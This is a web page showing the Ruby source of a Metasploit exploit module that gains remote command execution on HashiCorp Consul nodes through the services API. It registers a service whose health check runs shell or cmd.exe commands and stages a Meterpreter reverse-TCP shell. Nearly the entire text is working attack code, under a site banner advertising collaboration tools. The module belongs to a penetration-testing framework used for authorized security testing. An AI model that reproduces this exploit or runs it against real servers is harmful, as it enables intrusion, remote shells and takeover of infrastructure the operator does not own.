Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/consul_service_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Hashicorp Consul Remote Command Execution via Services API',16'Description' => %q{17This module exploits Hashicorp Consul's services API to gain remote command18execution on Consul nodes.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC24'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC25'Quentin Kaiser <kaiserquentin[at]gmail.com>', # Metasploit module26'Matthew Lucas <mattglucas97[at]gmail.com>' # Windows support for Metasploit module27],28'References' =>29[30[ 'URL', 'https://www.consul.io/api/agent/service.html' ],31[ 'URL', 'https://github.com/torque59/Garfield' ]32],33'Targets' =>34[35[36'Linux',37{38'Platform' => 'linux',39'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],40'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }41}42],43[44'Windows',45{46'Platform' => 'win',47'CmdStagerFlavor' => 'psh_invokewebrequest',48'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }49}50]51],52'Payload' => {},53'Privileged' => false,54'DefaultTarget' => 0,55'DisclosureDate' => '2018-08-11'56)57)58register_options(59[60OptString.new('TARGETURI', [true, 'The base path', '/']),61OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),62OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),63Opt::RPORT(8500)64]65)66end6768def check69res = send_request_cgi({70'method' => 'GET',71'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),72'headers' => {73'X-Consul-Token' => datastore['ACL_TOKEN']74}75})7677unless res78vprint_error 'Connection failed'79return CheckCode::Unknown80end8182unless res.code == 20083vprint_error 'Unexpected reply'84return CheckCode::Safe85end8687agent_info = JSON.parse(res.body)8889if agent_info['Config']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableRemoteScriptChecks'] == true90return CheckCode::Vulnerable91end9293CheckCode::Safe94rescue JSON::ParserError95vprint_error 'Failed to parse JSON output.'96return CheckCode::Unknown97end9899def execute_command(cmd, _opts = {})100uri = target_uri.path101service_name = Rex::Text.rand_text_alpha(5..10)102print_status("Creating service '#{service_name}'")103104# NOTE: Timeout defines how much time the check script will run until105# getting killed. Arbitrarily set to one day for now.106case target.name107when /Linux/108arg1 = 'sh'109arg2 = '-c'110when /Windows/111arg1 = 'cmd.exe'112arg2 = '/c'113end114res = send_request_cgi({115'method' => 'PUT',116'uri' => normalize_uri(uri, 'v1/agent/service/register'),117'headers' => {118'X-Consul-Token' => datastore['ACL_TOKEN']119},120'ctype' => 'application/json',121'data' => {122ID: service_name.to_s,123Name: service_name.to_s,124Address: '127.0.0.1',125Port: 80,126check: {127Args: [arg1, arg2, cmd.to_s],128interval: '10s',129Timeout: '86400s'130}131}.to_json132})133unless res && res.code == 200134fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')135end136print_status("Service '#{service_name}' successfully created.")137print_status("Waiting for service '#{service_name}' script to trigger")138sleep(12)139print_status("Removing service '#{service_name}'")140res = send_request_cgi({141'method' => 'PUT',142'uri' => normalize_uri(143uri,144"v1/agent/service/deregister/#{service_name}"145),146'headers' => {147'X-Consul-Token' => datastore['ACL_TOKEN']148}149})150if res && res.code != 200151fail_with(Failure::UnexpectedReply,152'An error occured when contacting the Consul API.')153end154end155156def exploit157execute_cmdstager158end159end160161162